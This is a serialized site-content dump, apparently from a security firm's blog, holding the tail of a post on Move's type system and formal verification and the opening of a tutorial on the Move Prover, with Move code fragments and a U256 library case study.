vector",{"type":20,"tag":315,"props":6774,"children":6775},{"style":328},[6776],{"type":26,"value":4199},{"type":20,"tag":315,"props":6778,"children":6779},{"style":322},[6780],{"type":26,"value":6438},{"type":20,"tag":315,"props":6782,"children":6783},{"style":328},[6784],{"type":26,"value":6785},">)",{"type":20,"tag":315,"props":6787,"children":6788},{"style":334},[6789],{"type":26,"value":2884},{"type":20,"tag":315,"props":6791,"children":6792},{"style":635},[6793],{"type":26,"value":6772},{"type":20,"tag":315,"props":6795,"children":6796},{"style":328},[6797],{"type":26,"value":4199},{"type":20,"tag":315,"props":6799,"children":6800},{"style":322},[6801],{"type":26,"value":6802},"u128",{"type":20,"tag":315,"props":6804,"children":6805},{"style":328},[6806],{"type":26,"value":5676},{"type":20,"tag":315,"props":6808,"children":6809},{"class":317,"line":356},[6810,6814,6819,6823,6827,6831,6836,6840,6844],{"type":20,"tag":315,"props":6811,"children":6812},{"style":541},[6813],{"type":26,"value":6471},{"type":20,"tag":315,"props":6815,"children":6816},{"style":635},[6817],{"type":26,"value":6818}," amounts_times_coins",{"type":20,"tag":315,"props":6820,"children":6821},{"style":334},[6822],{"type":26,"value":1395},{"type":20,"tag":315,"props":6824,"children":6825},{"style":328},[6826],{"type":26,"value":6772},{"type":20,"tag":315,"props":6828,"children":6829},{"style":334},[6830],{"type":26,"value":1861},{"type":20,"tag":315,"props":6832,"children":6833},{"style":635},[6834],{"type":26,"value":6835},"empty",{"type":20,"tag":315,"props":6837,"children":6838},{"style":328},[6839],{"type":26,"value":4199},{"type":20,"tag":315,"props":6841,"children":6842},{"style":322},[6843],{"type":26,"value":6802},{"type":20,"tag":315,"props":6845,"children":6846},{"style":328},[6847],{"type":26,"value":6848},">();\n",{"type":20,"tag":315,"props":6850,"children":6851},{"class":317,"line":365},[6852,6856,6860,6864,6868],{"type":20,"tag":315,"props":6853,"children":6854},{"style":541},[6855],{"type":26,"value":6471},{"type":20,"tag":315,"props":6857,"children":6858},{"style":635},[6859],{"type":26,"value":1779},{"type":20,"tag":315,"props":6861,"children":6862},{"style":334},[6863],{"type":26,"value":1395},{"type":20,"tag":315,"props":6865,"children":6866},{"style":765},[6867],{"type":26,"value":985},{"type":20,"tag":315,"props":6869,"children":6870},{"style":328},[6871],{"type":26,"value":1405},{"type":20,"tag":315,"props":6873,"children":6874},{"class":317,"line":374},[6875,6879,6884,6888,6892,6896,6901,6905,6909,6913],{"type":20,"tag":315,"props":6876,"children":6877},{"style":541},[6878],{"type":26,"value":6471},{"type":20,"tag":315,"props":6880,"children":6881},{"style":635},[6882],{"type":26,"value":6883}," n_coins",{"type":20,"tag":315,"props":6885,"children":6886},{"style":334},[6887],{"type":26,"value":1395},{"type":20,"tag":315,"props":6889,"children":6890},{"style":328},[6891],{"type":26,"value":6772},{"type":20,"tag":315,"props":6893,"children":6894},{"style":334},[6895],{"type":26,"value":1861},{"type":20,"tag":315,"props":6897,"children":6898},{"style":345},[6899],{"type":26,"value":6900},"length",{"type":20,"tag":315,"props":6902,"children":6903},{"style":328},[6904],{"type":26,"value":1049},{"type":20,"tag":315,"props":6906,"children":6907},{"style":334},[6908],{"type":26,"value":1490},{"type":20,"tag":315,"props":6910,"children":6911},{"style":635},[6912],{"type":26,"value":6763},{"type":20,"tag":315,"props":6914,"children":6915},{"style":328},[6916],{"type":26,"value":2214},{"type":20,"tag":315,"props":6918,"children":6919},{"class":317,"line":383},[6920,6925],{"type":20,"tag":315,"props":6921,"children":6922},{"style":525},[6923],{"type":26,"value":6924}," while",{"type":20,"tag":315,"props":6926,"children":6927},{"style":328},[6928],{"type":26,"value":6929}," ({\n",{"type":20,"tag":315,"props":6931,"children":6932},{"class":317,"line":407},[6933,6938],{"type":20,"tag":315,"props":6934,"children":6935},{"style":635},[6936],{"type":26,"value":6937}," spec",{"type":20,"tag":315,"props":6939,"children":6940},{"style":328},[6941],{"type":26,"value":1092},{"type":20,"tag":315,"props":6943,"children":6944},{"class":317,"line":421},[6945,6950,6955,6959,6964,6968,6972,6976],{"type":20,"tag":315,"props":6946,"children":6947},{"style":635},[6948],{"type":26,"value":6949}," invariant",{"type":20,"tag":315,"props":6951,"children":6952},{"style":345},[6953],{"type":26,"value":6954}," len",{"type":20,"tag":315,"props":6956,"children":6957},{"style":328},[6958],{"type":26,"value":1049},{"type":20,"tag":315,"props":6960,"children":6961},{"style":635},[6962],{"type":26,"value":6963},"amounts_times_coins",{"type":20,"tag":315,"props":6965,"children":6966},{"style":328},[6967],{"type":26,"value":1468},{"type":20,"tag":315,"props":6969,"children":6970},{"style":334},[6971],{"type":26,"value":538},{"type":20,"tag":315,"props":6973,"children":6974},{"style":635},[6975],{"type":26,"value":1779},{"type":20,"tag":315,"props":6977,"children":6978},{"style":328},[6979],{"type":26,"value":1405},{"type":20,"tag":315,"props":6981,"children":6982},{"class":317,"line":430},[6983,6987,6991,6995,6999],{"type":20,"tag":315,"props":6984,"children":6985},{"style":635},[6986],{"type":26,"value":6949},{"type":20,"tag":315,"props":6988,"children":6989},{"style":635},[6990],{"type":26,"value":1779},{"type":20,"tag":315,"props":6992,"children":6993},{"style":334},[6994],{"type":26,"value":6593},{"type":20,"tag":315,"props":6996,"children":6997},{"style":635},[6998],{"type":26,"value":6883},{"type":20,"tag":315,"props":7000,"children":7001},{"style":328},[7002],{"type":26,"value":1405},{"type":20,"tag":315,"props":7004,"children":7005},{"class":317,"line":453},[7006,7010,7015,7020,7024,7028,7032,7036,7040,7044,7048,7053,7058,7062,7067,7071,7075,7079,7083,7087],{"type":20,"tag":315,"props":7007,"children":7008},{"style":635},[7009],{"type":26,"value":6949},{"type":20,"tag":315,"props":7011,"children":7012},{"style":635},[7013],{"type":26,"value":7014}," forall",{"type":20,"tag":315,"props":7016,"children":7017},{"style":635},[7018],{"type":26,"value":7019}," j",{"type":20,"tag":315,"props":7021,"children":7022},{"style":541},[7023],{"type":26,"value":1423},{"type":20,"tag":315,"props":7025,"children":7026},{"style":765},[7027],{"type":26,"value":985},{"type":20,"tag":315,"props":7029,"children":7030},{"style":334},[7031],{"type":26,"value":1432},{"type":20,"tag":315,"props":7033,"children":7034},{"style":635},[7035],{"type":26,"value":2122},{"type":20,"tag":315,"props":7037,"children":7038},{"style":334},[7039],{"type":26,"value":2884},{"type":20,"tag":315,"props":7041,"children":7042},{"style":635},[7043],{"type":26,"value":6818},{"type":20,"tag":315,"props":7045,"children":7046},{"style":328},[7047],{"type":26,"value":2117},{"type":20,"tag":315,"props":7049,"children":7050},{"style":635},[7051],{"type":26,"value":7052},"j",{"type":20,"tag":315,"props":7054,"children":7055},{"style":328},[7056],{"type":26,"value":7057},"] ",{"type":20,"tag":315,"props":7059,"children":7060},{"style":334},[7061],{"type":26,"value":538},{"type":20,"tag":315,"props":7063,"children":7064},{"style":635},[7065],{"type":26,"value":7066}," input",{"type":20,"tag":315,"props":7068,"children":7069},{"style":328},[7070],{"type":26,"value":2117},{"type":20,"tag":315,"props":7072,"children":7073},{"style":635},[7074],{"type":26,"value":7052},{"type":20,"tag":315,"props":7076,"children":7077},{"style":328},[7078],{"type":26,"value":7057},{"type":20,"tag":315,"props":7080,"children":7081},{"style":334},[7082],{"type":26,"value":901},{"type":20,"tag":315,"props":7084,"children":7085},{"style":635},[7086],{"type":26,"value":6883},{"type":20,"tag":315,"props":7088,"children":7089},{"style":328},[7090],{"type":26,"value":1405},{"type":20,"tag":315,"props":7092,"children":7093},{"class":317,"line":486},[7094],{"type":20,"tag":315,"props":7095,"children":7096},{"style":328},[7097],{"type":26,"value":7098}," };\n",{"type":20,"tag":315,"props":7100,"children":7101},{"class":317,"line":499},[7102,7107,7111,7116,7120],{"type":20,"tag":315,"props":7103,"children":7104},{"style":328},[7105],{"type":26,"value":7106}," (",{"type":20,"tag":315,"props":7108,"children":7109},{"style":635},[7110],{"type":26,"value":2122},{"type":20,"tag":315,"props":7112,"children":7113},{"style":334},[7114],{"type":26,"value":7115}," \u003C",{"type":20,"tag":315,"props":7117,"children":7118},{"style":635},[7119],{"type":26,"value":6883},{"type":20,"tag":315,"props":7121,"children":7122},{"style":328},[7123],{"type":26,"value":380},{"type":20,"tag":315,"props":7125,"children":7126},{"class":317,"line":513},[7127],{"type":20,"tag":315,"props":7128,"children":7129},{"style":328},[7130],{"type":26,"value":7131}," }) {\n",{"type":20,"tag":315,"props":7133,"children":7134},{"class":317,"line":521},[7135,7140,7144,7149],{"type":20,"tag":315,"props":7136,"children":7137},{"style":328},[7138],{"type":26,"value":7139}," vector",{"type":20,"tag":315,"props":7141,"children":7142},{"style":334},[7143],{"type":26,"value":1861},{"type":20,"tag":315,"props":7145,"children":7146},{"style":345},[7147],{"type":26,"value":7148},"push_back",{"type":20,"tag":315,"props":7150,"children":7151},{"style":328},[7152],{"type":26,"value":353},{"type":20,"tag":315,"props":7154,"children":7155},{"class":317,"line":552},[7156,7161,7165,7169],{"type":20,"tag":315,"props":7157,"children":7158},{"style":334},[7159],{"type":26,"value":7160}," &",{"type":20,"tag":315,"props":7162,"children":7163},{"style":541},[7164],{"type":26,"value":2107},{"type":20,"tag":315,"props":7166,"children":7167},{"style":635},[7168],{"type":26,"value":6818},{"type":20,"tag":315,"props":7170,"children":7171},{"style":328},[7172],{"type":26,"value":643},{"type":20,"tag":315,"props":7174,"children":7175},{"class":317,"line":571},[7176,7181,7185,7190,7194,7199,7203,7207,7211,7216,7220,7225,7229,7234,7239,7244,7248,7252,7256,7261,7265,7269],{"type":20,"tag":315,"props":7177,"children":7178},{"style":328},[7179],{"type":26,"value":7180}," (",{"type":20,"tag":315,"props":7182,"children":7183},{"style":334},[7184],{"type":26,"value":901},{"type":20,"tag":315,"props":7186,"children":7187},{"style":328},[7188],{"type":26,"value":7189},"vector",{"type":20,"tag":315,"props":7191,"children":7192},{"style":334},[7193],{"type":26,"value":1861},{"type":20,"tag":315,"props":7195,"children":7196},{"style":345},[7197],{"type":26,"value":7198},"borrow",{"type":20,"tag":315,"props":7200,"children":7201},{"style":328},[7202],{"type":26,"value":1049},{"type":20,"tag":315,"props":7204,"children":7205},{"style":334},[7206],{"type":26,"value":1490},{"type":20,"tag":315,"props":7208,"children":7209},{"style":635},[7210],{"type":26,"value":6763},{"type":20,"tag":315,"props":7212,"children":7213},{"style":328},[7214],{"type":26,"value":7215},", (",{"type":20,"tag":315,"props":7217,"children":7218},{"style":635},[7219],{"type":26,"value":2122},{"type":20,"tag":315,"props":7221,"children":7222},{"style":541},[7223],{"type":26,"value":7224}," as",{"type":20,"tag":315,"props":7226,"children":7227},{"style":322},[7228],{"type":26,"value":4253},{"type":20,"tag":315,"props":7230,"children":7231},{"style":328},[7232],{"type":26,"value":7233},")) ",{"type":20,"tag":315,"props":7235,"children":7236},{"style":541},[7237],{"type":26,"value":7238},"as",{"type":20,"tag":315,"props":7240,"children":7241},{"style":322},[7242],{"type":26,"value":7243}," u128",{"type":20,"tag":315,"props":7245,"children":7246},{"style":328},[7247],{"type":26,"value":1468},{"type":20,"tag":315,"props":7249,"children":7250},{"style":334},[7251],{"type":26,"value":901},{"type":20,"tag":315,"props":7253,"children":7254},{"style":328},[7255],{"type":26,"value":463},{"type":20,"tag":315,"props":7257,"children":7258},{"style":635},[7259],{"type":26,"value":7260},"n_coins",{"type":20,"tag":315,"props":7262,"children":7263},{"style":541},[7264],{"type":26,"value":7224},{"type":20,"tag":315,"props":7266,"children":7267},{"style":322},[7268],{"type":26,"value":7243},{"type":20,"tag":315,"props":7270,"children":7271},{"style":328},[7272],{"type":26,"value":380},{"type":20,"tag":315,"props":7274,"children":7275},{"class":317,"line":2031},[7276],{"type":20,"tag":315,"props":7277,"children":7278},{"style":328},[7279],{"type":26,"value":7280}," );\n",{"type":20,"tag":315,"props":7282,"children":7283},{"class":317,"line":2053},[7284,7289,7293,7297,7302,7306],{"type":20,"tag":315,"props":7285,"children":7286},{"style":635},[7287],{"type":26,"value":7288}," i",{"type":20,"tag":315,"props":7290,"children":7291},{"style":334},[7292],{"type":26,"value":1395},{"type":20,"tag":315,"props":7294,"children":7295},{"style":635},[7296],{"type":26,"value":1779},{"type":20,"tag":315,"props":7298,"children":7299},{"style":334},[7300],{"type":26,"value":7301}," +",{"type":20,"tag":315,"props":7303,"children":7304},{"style":765},[7305],{"type":26,"value":2916},{"type":20,"tag":315,"props":7307,"children":7308},{"style":328},[7309],{"type":26,"value":1405},{"type":20,"tag":315,"props":7311,"children":7312},{"class":317,"line":2061},[7313],{"type":20,"tag":315,"props":7314,"children":7315},{"style":328},[7316],{"type":26,"value":7317}," };\n",{"type":20,"tag":315,"props":7319,"children":7320},{"class":317,"line":2070},[7321,7326],{"type":20,"tag":315,"props":7322,"children":7323},{"style":635},[7324],{"type":26,"value":7325}," spec",{"type":20,"tag":315,"props":7327,"children":7328},{"style":328},[7329],{"type":26,"value":1092},{"type":20,"tag":315,"props":7331,"children":7332},{"class":317,"line":2139},[7333,7338,7342,7346,7350],{"type":20,"tag":315,"props":7334,"children":7335},{"style":635},[7336],{"type":26,"value":7337}," assert",{"type":20,"tag":315,"props":7339,"children":7340},{"style":635},[7341],{"type":26,"value":1779},{"type":20,"tag":315,"props":7343,"children":7344},{"style":334},[7345],{"type":26,"value":1664},{"type":20,"tag":315,"props":7347,"children":7348},{"style":635},[7349],{"type":26,"value":6883},{"type":20,"tag":315,"props":7351,"children":7352},{"style":328},[7353],{"type":26,"value":1405},{"type":20,"tag":315,"props":7355,"children":7356},{"class":317,"line":2147},[7357,7361,7365,7369,7373,7377,7381,7385],{"type":20,"tag":315,"props":7358,"children":7359},{"style":635},[7360],{"type":26,"value":7337},{"type":20,"tag":315,"props":7362,"children":7363},{"style":345},[7364],{"type":26,"value":6954},{"type":20,"tag":315,"props":7366,"children":7367},{"style":328},[7368],{"type":26,"value":1049},{"type":20,"tag":315,"props":7370,"children":7371},{"style":635},[7372],{"type":26,"value":6763},{"type":20,"tag":315,"props":7374,"children":7375},{"style":328},[7376],{"type":26,"value":1468},{"type":20,"tag":315,"props":7378,"children":7379},{"style":334},[7380],{"type":26,"value":538},{"type":20,"tag":315,"props":7382,"children":7383},{"style":635},[7384],{"type":26,"value":6883},{"type":20,"tag":315,"props":7386,"children":7387},{"style":328},[7388],{"type":26,"value":1405},{"type":20,"tag":315,"props":7390,"children":7391},{"class":317,"line":2177},[7392],{"type":20,"tag":315,"props":7393,"children":7394},{"style":328},[7395],{"type":26,"value":7317},{"type":20,"tag":315,"props":7397,"children":7398},{"class":317,"line":2185},[7399],{"type":20,"tag":315,"props":7400,"children":7401},{"style":635},[7402],{"type":26,"value":7403}," amounts_times_coins\n",{"type":20,"tag":315,"props":7405,"children":7406},{"class":317,"line":2217},[7407],{"type":20,"tag":315,"props":7408,"children":7409},{"style":328},[7410],{"type":26,"value":4265},{"type":20,"tag":315,"props":7412,"children":7413},{"class":317,"line":2225},[7414,7418,7422],{"type":20,"tag":315,"props":7415,"children":7416},{"style":635},[7417],{"type":26,"value":6541},{"type":20,"tag":315,"props":7419,"children":7420},{"style":635},[7421],{"type":26,"value":6754},{"type":20,"tag":315,"props":7423,"children":7424},{"style":328},[7425],{"type":26,"value":1092},{"type":20,"tag":315,"props":7427,"children":7428},{"class":317,"line":2285},[7429,7433,7438],{"type":20,"tag":315,"props":7430,"children":7431},{"style":635},[7432],{"type":26,"value":6557},{"type":20,"tag":315,"props":7434,"children":7435},{"style":635},[7436],{"type":26,"value":7437}," opaque",{"type":20,"tag":315,"props":7439,"children":7440},{"style":328},[7441],{"type":26,"value":1405},{"type":20,"tag":315,"props":7443,"children":7445},{"class":317,"line":7444},27,[7446,7451,7456],{"type":20,"tag":315,"props":7447,"children":7448},{"style":635},[7449],{"type":26,"value":7450}," aborts_if",{"type":20,"tag":315,"props":7452,"children":7453},{"style":541},[7454],{"type":26,"value":7455}," false",{"type":20,"tag":315,"props":7457,"children":7458},{"style":328},[7459],{"type":26,"value":1405},{"type":20,"tag":315,"props":7461,"children":7463},{"class":317,"line":7462},28,[7464,7468,7472,7476,7481,7485,7489,7493,7497,7501],{"type":20,"tag":315,"props":7465,"children":7466},{"style":635},[7467],{"type":26,"value":6583},{"type":20,"tag":315,"props":7469,"children":7470},{"style":345},[7471],{"type":26,"value":6954},{"type":20,"tag":315,"props":7473,"children":7474},{"style":328},[7475],{"type":26,"value":1049},{"type":20,"tag":315,"props":7477,"children":7478},{"style":635},[7479],{"type":26,"value":7480},"result",{"type":20,"tag":315,"props":7482,"children":7483},{"style":328},[7484],{"type":26,"value":1468},{"type":20,"tag":315,"props":7486,"children":7487},{"style":334},[7488],{"type":26,"value":538},{"type":20,"tag":315,"props":7490,"children":7491},{"style":345},[7492],{"type":26,"value":6954},{"type":20,"tag":315,"props":7494,"children":7495},{"style":328},[7496],{"type":26,"value":1049},{"type":20,"tag":315,"props":7498,"children":7499},{"style":635},[7500],{"type":26,"value":6763},{"type":20,"tag":315,"props":7502,"children":7503},{"style":328},[7504],{"type":26,"value":2214},{"type":20,"tag":315,"props":7506,"children":7508},{"class":317,"line":7507},29,[7509,7513,7517,7521,7525,7529,7533,7538,7542,7546,7550,7554,7559,7563,7567,7571,7575,7579,7583,7587,7591,7595,7599,7603,7607],{"type":20,"tag":315,"props":7510,"children":7511},{"style":635},[7512],{"type":26,"value":6583},{"type":20,"tag":315,"props":7514,"children":7515},{"style":635},[7516],{"type":26,"value":7014},{"type":20,"tag":315,"props":7518,"children":7519},{"style":635},[7520],{"type":26,"value":7019},{"type":20,"tag":315,"props":7522,"children":7523},{"style":541},[7524],{"type":26,"value":1423},{"type":20,"tag":315,"props":7526,"children":7527},{"style":765},[7528],{"type":26,"value":985},{"type":20,"tag":315,"props":7530,"children":7531},{"style":334},[7532],{"type":26,"value":1432},{"type":20,"tag":315,"props":7534,"children":7535},{"style":345},[7536],{"type":26,"value":7537},"len",{"type":20,"tag":315,"props":7539,"children":7540},{"style":328},[7541],{"type":26,"value":1049},{"type":20,"tag":315,"props":7543,"children":7544},{"style":635},[7545],{"type":26,"value":6763},{"type":20,"tag":315,"props":7547,"children":7548},{"style":328},[7549],{"type":26,"value":1509},{"type":20,"tag":315,"props":7551,"children":7552},{"style":334},[7553],{"type":26,"value":2884},{"type":20,"tag":315,"props":7555,"children":7556},{"style":635},[7557],{"type":26,"value":7558}," result",{"type":20,"tag":315,"props":7560,"children":7561},{"style":328},[7562],{"type":26,"value":2117},{"type":20,"tag":315,"props":7564,"children":7565},{"style":635},[7566],{"type":26,"value":7052},{"type":20,"tag":315,"props":7568,"children":7569},{"style":328},[7570],{"type":26,"value":7057},{"type":20,"tag":315,"props":7572,"children":7573},{"style":334},[7574],{"type":26,"value":538},{"type":20,"tag":315,"props":7576,"children":7577},{"style":635},[7578],{"type":26,"value":7066},{"type":20,"tag":315,"props":7580,"children":7581},{"style":328},[7582],{"type":26,"value":2117},{"type":20,"tag":315,"props":7584,"children":7585},{"style":635},[7586],{"type":26,"value":7052},{"type":20,"tag":315,"props":7588,"children":7589},{"style":328},[7590],{"type":26,"value":7057},{"type":20,"tag":315,"props":7592,"children":7593},{"style":334},[7594],{"type":26,"value":901},{"type":20,"tag":315,"props":7596,"children":7597},{"style":345},[7598],{"type":26,"value":6954},{"type":20,"tag":315,"props":7600,"children":7601},{"style":328},[7602],{"type":26,"value":1049},{"type":20,"tag":315,"props":7604,"children":7605},{"style":635},[7606],{"type":26,"value":6763},{"type":20,"tag":315,"props":7608,"children":7609},{"style":328},[7610],{"type":26,"value":2214},{"type":20,"tag":315,"props":7612,"children":7614},{"class":317,"line":7613},30,[7615],{"type":20,"tag":315,"props":7616,"children":7617},{"style":328},[7618],{"type":26,"value":4265},{"type":20,"tag":21,"props":7620,"children":7621},{"id":3702},[7622],{"type":26,"value":3705},{"type":20,"tag":29,"props":7624,"children":7625},{},[7626],{"type":26,"value":7627},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":20,"tag":29,"props":7629,"children":7630},{},[7631],{"type":26,"value":7632},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":20,"tag":29,"props":7634,"children":7635},{},[7636,7638,7645],{"type":26,"value":7637},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":20,"tag":35,"props":7639,"children":7642},{"href":7640,"rel":7641},"https://twitter.com/notdeghost/",[39],[7643],{"type":26,"value":7644},"@notdeghost",{"type":26,"value":61},{"type":20,"tag":1226,"props":7647,"children":7648},{},[7649],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":7651},[7652,7653,7654],{"id":4151,"depth":356,"text":4154},{"id":6192,"depth":356,"text":6195},{"id":3702,"depth":356,"text":3705},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":7659,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7660,"description":7661,"author":11,"image":7662,"date":7665,"isFeatured":15,"tags":7666,"onBlogPage":15,"body":7669,"_type":1242,"_id":12013,"_source":1244,"_file":12014,"_stem":12015,"_extension":1247},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":7663,"height":7664,"width":4116},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[7667,7668],"move","tutorial",{"type":17,"children":7670,"toc":11999},[7671,7690,7702,7708,7713,7718,7723,7732,7737,7751,7756,7762,7767,7781,7786,7923,7936,7941,7962,7996,8007,8012,8017,8027,8040,8383,8397,8415,8460,8473,8492,8664,8669,8674,8699,8704,9305,9317,9329,9334,9348,9353,9366,9407,9412,9444,9449,9454,9467,9852,9879,10086,10091,10103,10340,10345,10353,10372,10720,10725,10881,10886,10893,10907,10913,10918,10923,10929,10942,11174,11180,11185,11205,11474,11479,11485,11497,11502,11516,11522,11558,11658,11679,11685,11690,11695,11947,11952,11970,11974,11979,11984,11995],{"type":20,"tag":29,"props":7672,"children":7673},{},[7674,7676,7681,7683,7688],{"type":26,"value":7675},"Formal verification -- a powerful tool for ",{"type":20,"tag":55,"props":7677,"children":7678},{},[7679],{"type":26,"value":7680},"proving",{"type":26,"value":7682}," the correctness of your programs. How does it ",{"type":20,"tag":55,"props":7684,"children":7685},{},[7686],{"type":26,"value":7687},"actually",{"type":26,"value":7689}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":20,"tag":29,"props":7691,"children":7692},{},[7693,7695,7700],{"type":26,"value":7694},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":20,"tag":55,"props":7696,"children":7697},{},[7698],{"type":26,"value":7699},"all",{"type":26,"value":7701}," possible inputs.",{"type":20,"tag":21,"props":7703,"children":7705},{"id":7704},"move-prover",[7706],{"type":26,"value":7707},"Move Prover",{"type":20,"tag":29,"props":7709,"children":7710},{},[7711],{"type":26,"value":7712},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":20,"tag":29,"props":7714,"children":7715},{},[7716],{"type":26,"value":7717},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":20,"tag":29,"props":7719,"children":7720},{},[7721],{"type":26,"value":7722},"The architecture of the tool consists of multiple components as illustrated below.",{"type":20,"tag":29,"props":7724,"children":7725},{},[7726],{"type":20,"tag":2308,"props":7727,"children":7731},{"alt":7728,"src":7729,"title":7730},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":20,"tag":29,"props":7733,"children":7734},{},[7735],{"type":26,"value":7736},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":20,"tag":29,"props":7738,"children":7739},{},[7740,7742,7749],{"type":26,"value":7741},"The model is translated into an intermediate language, called ",{"type":20,"tag":35,"props":7743,"children":7746},{"href":7744,"rel":7745},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[39],[7747],{"type":26,"value":7748},"Boogie",{"type":26,"value":7750},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":20,"tag":29,"props":7752,"children":7753},{},[7754],{"type":26,"value":7755},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":20,"tag":21,"props":7757,"children":7759},{"id":7758},"move-specification-language",[7760],{"type":26,"value":7761},"Move Specification Language",{"type":20,"tag":29,"props":7763,"children":7764},{},[7765],{"type":26,"value":7766},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":20,"tag":29,"props":7768,"children":7769},{},[7770,7772,7779],{"type":26,"value":7771},"To better understand how to use the MSL, we will use ",{"type":20,"tag":35,"props":7773,"children":7776},{"href":7774,"rel":7775},"https://github.com/pontem-network/u256",[39],[7777],{"type":26,"value":7778},"Pontem's U256 library",{"type":26,"value":7780},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":20,"tag":29,"props":7782,"children":7783},{},[7784],{"type":26,"value":7785},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":20,"tag":305,"props":7787,"children":7789},{"code":7788,"language":1359,"meta":7,"className":1360,"style":7},"struct U256 has copy, drop, store {\n v0: u64,\n v1: u64,\n v2: u64,\n v3: u64,\n}\n",[7790],{"type":20,"tag":119,"props":7791,"children":7792},{"__ignoreMap":7},[7793,7836,7856,7876,7896,7916],{"type":20,"tag":315,"props":7794,"children":7795},{"class":317,"line":318},[7796,7801,7805,7810,7815,7819,7824,7828,7832],{"type":20,"tag":315,"props":7797,"children":7798},{"style":541},[7799],{"type":26,"value":7800},"struct",{"type":20,"tag":315,"props":7802,"children":7803},{"style":322},[7804],{"type":26,"value":3122},{"type":20,"tag":315,"props":7806,"children":7807},{"style":635},[7808],{"type":26,"value":7809}," has",{"type":20,"tag":315,"props":7811,"children":7812},{"style":635},[7813],{"type":26,"value":7814}," copy",{"type":20,"tag":315,"props":7816,"children":7817},{"style":328},[7818],{"type":26,"value":44},{"type":20,"tag":315,"props":7820,"children":7821},{"style":635},[7822],{"type":26,"value":7823},"drop",{"type":20,"tag":315,"props":7825,"children":7826},{"style":328},[7827],{"type":26,"value":44},{"type":20,"tag":315,"props":7829,"children":7830},{"style":635},[7831],{"type":26,"value":4334},{"type":20,"tag":315,"props":7833,"children":7834},{"style":328},[7835],{"type":26,"value":1092},{"type":20,"tag":315,"props":7837,"children":7838},{"class":317,"line":356},[7839,7844,7848,7852],{"type":20,"tag":315,"props":7840,"children":7841},{"style":635},[7842],{"type":26,"value":7843}," v0",{"type":20,"tag":315,"props":7845,"children":7846},{"style":334},[7847],{"type":26,"value":2884},{"type":20,"tag":315,"props":7849,"children":7850},{"style":322},[7851],{"type":26,"value":4253},{"type":20,"tag":315,"props":7853,"children":7854},{"style":328},[7855],{"type":26,"value":643},{"type":20,"tag":315,"props":7857,"children":7858},{"class":317,"line":365},[7859,7864,7868,7872],{"type":20,"tag":315,"props":7860,"children":7861},{"style":635},[7862],{"type":26,"value":7863}," v1",{"type":20,"tag":315,"props":7865,"children":7866},{"style":334},[7867],{"type":26,"value":2884},{"type":20,"tag":315,"props":7869,"children":7870},{"style":322},[7871],{"type":26,"value":4253},{"type":20,"tag":315,"props":7873,"children":7874},{"style":328},[7875],{"type":26,"value":643},{"type":20,"tag":315,"props":7877,"children":7878},{"class":317,"line":374},[7879,7884,7888,7892],{"type":20,"tag":315,"props":7880,"children":7881},{"style":635},[7882],{"type":26,"value":7883}," v2",{"type":20,"tag":315,"props":7885,"children":7886},{"style":334},[7887],{"type":26,"value":2884},{"type":20,"tag":315,"props":7889,"children":7890},{"style":322},[7891],{"type":26,"value":4253},{"type":20,"tag":315,"props":7893,"children":7894},{"style":328},[7895],{"type":26,"value":643},{"type":20,"tag":315,"props":7897,"children":7898},{"class":317,"line":383},[7899,7904,7908,7912],{"type":20,"tag":315,"props":7900,"children":7901},{"style":635},[7902],{"type":26,"value":7903}," v3",{"type":20,"tag":315,"props":7905,"children":7906},{"style":334},[7907],{"type":26,"value":2884},{"type":20,"tag":315,"props":7909,"children":7910},{"style":322},[7911],{"type":26,"value":4253},{"type":20,"tag":315,"props":7913,"children":7914},{"style":328},[7915],{"type":26,"value":643},{"type":20,"tag":315,"props":7917,"children":7918},{"class":317,"line":407},[7919],{"type":20,"tag":315,"props":7920,"children":7921},{"style":328},[7922],{"type":26,"value":577},{"type":20,"tag":29,"props":7924,"children":7925},{},[7926,7928,7934],{"type":26,"value":7927},"Now, let's consider the ",{"type":20,"tag":119,"props":7929,"children":7931},{"className":7930},[],[7932],{"type":26,"value":7933},"add(a: U256, b: U256): U256",{"type":26,"value":7935}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":20,"tag":29,"props":7937,"children":7938},{},[7939],{"type":26,"value":7940},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":20,"tag":29,"props":7942,"children":7943},{},[7944,7946,7952,7954,7961],{"type":26,"value":7945},"For example, if your file is ",{"type":20,"tag":119,"props":7947,"children":7949},{"className":7948},[],[7950],{"type":26,"value":7951},"sources/u256.move",{"type":26,"value":7953},", you can put specifications in 